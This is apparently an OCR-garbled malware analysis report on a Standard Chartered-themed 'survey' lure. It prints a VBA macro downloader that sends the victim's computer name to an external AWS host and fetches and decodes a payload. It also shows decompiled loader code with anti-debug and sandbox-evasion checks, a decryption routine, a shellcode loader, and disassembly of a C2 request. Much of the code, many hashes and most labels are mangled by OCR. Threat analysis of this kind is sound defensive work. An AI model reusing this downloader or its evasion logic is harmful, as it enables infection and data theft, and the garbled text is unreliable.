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Sub Get_Survey()

Set B = CreateObject("WScript.Network")

¢ = B.ComputerName

' 45-08-34-BD-B7-82-16-7D-B1-CA-E5-9B-F3-C1-E4-C9
Dim o

Set o = CreateObject("MSXML2 XMLHTTP")

0.0pen "GET", "http://ec2-3-66-213-57.eu-central-1.compute.amazonaws.com/standardchartered/survey/content/45-08-34-BD-B7-82-16-7D-B1-CA-E5-9B-F3-C1-
E4-C9" & "?uid=" & c & "&seid=" & DateDiff("s", "1/1/1970 00:00:00", Now()), False
o.Send

Set r = CreateObject("ADODB.Stream”)

r.Type = 1 'adTypeBinary

a = Environ("Temp") & "\file.dat"

B = Environ("Temp") & "\survey.dat"

d = Environ("Temp") & "\survey.dat.log1”

r.Open

r.Xor o.responseBody

r.SaveToFile a, 2 'adSaveCreateOverWrite

Set r = Nothing

Set ¢ = CreateObject("Scripting.FileSystemObject”)
c.CopyFile a, B

Set fso = CreateObject("Scripting.Filesystemobject”)
Set base_file = fso.OpenTextFile(B, 1)

Content = base_file.ReadAll()

base file.Close

Set oXML = CreateObject("Msxml|2.DOMDocument”)
Set oNode = oXML.CreateElement("base64")
oNode.DataType = "bin.base64”

oNode.Text = Content

Set BinaryStream = CreateObject("ADODB.Stream")

pATERFT M

http://ec2-3-66-213-57.eu-central-1.compute.amazonaws|.]com/standardchartered/survey/content/45-08-34-BD-B7-82-16-
7D-B1-CA-E5-9B-F3-C1-E4-C9?uid=&seid=

T#payload , @2 fEHAIT
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MDS5 : cadd4c9df2c5eda49d2b5c3e745b619e

FEA 4 : survey.dat.logl
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v3 =

{

trojan wacatac

exe
26982475
32/75

2021-08-28 11:28:09

Ly AT

=kl

2021-08-28

NtCurrentPeb();
if ( !v3->BeingDebugged && LOBYTE(v3->NtGlobalFlag) != 112 )

BREH

FEER

fRIFATE

2021-08-09 04:02:49

2021-08-28 11:26:15

Microsoft Visual C++ 8.0 (DLL)

2021-08-06 06:37:04

MRS [SHE =S

BRI

wacatac || trojan

GetSystemInfo(&SystemInfo);
if ( SystemInfo.dwNumberOfProcessors >= 4 )

{

Buffer.dwLength = 64;
GlobalMemoryStatusEx(&Buffer);

if ( (Buffer.ullTotalPhys & @xFFFFFFFFFFFOP@@RUiG4) >= ©x1000000e8i64 )

{

nsize[@] = 260;
GetComputerNameExW(ComputerNameDnsDomain, v&, nSize);
if ( nSize[@] )

{

sub_140001570();
sub_140001770();
sub_140001570();
sub_140001D10();
while ( 1 )
Sleep(@xC350u);
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LODWORD(result) = a2[1];
v4 = -957401312;

v5 = 3337565984164 ;
v7 = 2i64;

do

{

v8 = v4 + dword_l4ee42610[(vS >> 11) & 3];

v9 = v4 + 1640531527,

vl = result - (v8 ~ (v2 + ((16 * v2) ~ (v2 >> 5))));

vil = v2 - ((v9 + dword_140042610[vo & 3]) ~ (vie + ((16 * via) ~ (vie >> 5))));
vl2 = (v9 + dword_140042610[(vS >> 11) & 3]) ~ (vil + ((16 * vi1l) ~ (v11l >> 5)));
v9 += 1640531527;

vl3 = v10 - vi12;

vida = v1l - ((v9 + dword_1480426108[vS & 3]) ~ (v1i2 + ((16 * v13) ~ (v1i3 >> 5))));
v15 = (v9 + dword_140042610[(vS >> 11) & 3]) ~ (vi4 + ((16 * vi4) ~ (vi4d >> 5)));
vS += 1640531527,

vle = v13 - vi15;

vl7 = v14 - ((v9 + dword_140042610[vS & 3]) ~ (vie + ((16 * vie) ~ (vie >> 5))));
vi8 = v9 + dword_140042618[(v9o >> 11) & 3];

v9 += 1640531527;

v19 = vi16 - (vi18 ~ (vi17 + ((16 * v17) ~ (v17 >> 5))));

v20 = v17 - ((v9 + dword_14@042610[vo & 3]) ~ (vi9 + ((16 * v19) ~ (vi9 >> 5))));
v21 = (v9 + dword_140042610[(vS >> 11) & 3]) ~ (v28 + ((16 * v28) ~ (v28 >> 5)));
vS += 1640531527,

v22 = v19 - v21;

v23 = v20 - ((v9 + dword_14e042610[vo & 3]) ~ (v22 + ((16 * v22) ~ (v22 >> 5))));
v24 = (v9 + dword_140042610[(vS >> 11) & 3]) ~ (v23 + ((16 * v23) ~ (v23 >> 5)));
v9 += 1640531527;

FRIE— /N HTIZFE 1z 1T shellcode

vo0[4] = Ox64002F;

voo[5] = @x6Ce86C;

gmemcpy(v8e, "Sleep", 5);

gmemcpy(v82, "LoadLibraryA", 12);

gmemcpy(v81l, "VirtualAlloc", 12);

gmemcpy(v&3, "VirtualProtect”, 14);

gmemcpy(v86, "FlushInstructionCache", 21);

gmemcpy(v84, "GetNativeSystemInfo", 19);

gmemcpy(v85, "RtlAddFunctionTable", 19);

v6 = (void (_ fastcall *)(_QWORD, QWORD, int *,  int64 *))sub_A1C(3183451155i64);
v7 = (void (__fastcall *)(__inte4, int *, _ inte4, _ int64))sub_A1C(1591296437i64);
v89 = v7;

vo7T@1 = 1572888:

EHE R — R AR DLL 4 , MD5 : eda2fa6a2d4604d319df2c2a5c22a22¢
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c75b078149b54d992754829feba8241473a6cb339879dfd577ade0b3f6c2dcca
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hiind, int nCmdShow);

48:896(24 10 mov qword ptr ss ] lbp send
48:897424 18 mov qword ptr ss: 3, rsi
57 push rdi
41:54 push ri2
41:55 push ri3
48:83eC 70 sub rsp,
48:8D05 DEATFFFF lea rax qword ptr ds:[7FF724E1ACO]
45:33eD xor |::c ri3d
41:8BF1 mov esi J't‘d
41:8BES8 mov el
4C:8BE2 mov d. com/api/v2/change/?c HTTP/1.1 nCookie: Se
48:86F9 mov
48:3905 C84D0300 cmp qnord ptr ds: [7FF7251C0CB] ,rax
~ OFB5 C8950000 jne ws2_32.7FF724F08CE
4C:392D B34D0300 cmp gword ptr ds:[7FF7251C0C0] ,ri3 ri3:"" 7 tp\x06’
~ QOFB4 BB950000 je ws2_32.7FF724F08CE
880D 9F4D0300 mov_ecx,dword ptr ds:[7FF7251C0E8]
FF15 F9A00200 €all gword prr ds:[<&T1sGetvalue>]
48:894424 58 mov qword ptr ss:frsp+58],rax XHI®PF\Fix01"
48:85C0 test rax,rax
~ OFB4 A1950000 je ws2_32.7FF724F08CE
44:896C24 50 mov dword ptr ss:[frsp+500,ri3d
48:8BCF mov_rcx,rdi
E8 AGA4FFFF €all ws2_32.7FF724E17E0
48:85c0 TesT rax,rax
~ OFB4 D1950000 je ws2_ 3. 7FF724F0914
48:8B5424 58 mov rax, ﬂword ptr
48:899C24 90000000 mov qword ptr ss:|[
48:8BD8 mov rbx,rax
48:8B4B 18 mov rcx,qword ptr ds:
)O07FF7 24 5 48:83c2 10 add rdx,10 change/?c HTTP/1.1\r\nCookie: se
JOO7FF E735B 48:8D4424 50 lea rax, gword ptr
JOO7FF724E7 360 4%:92%&34 4§ mov qword ptr ;;:
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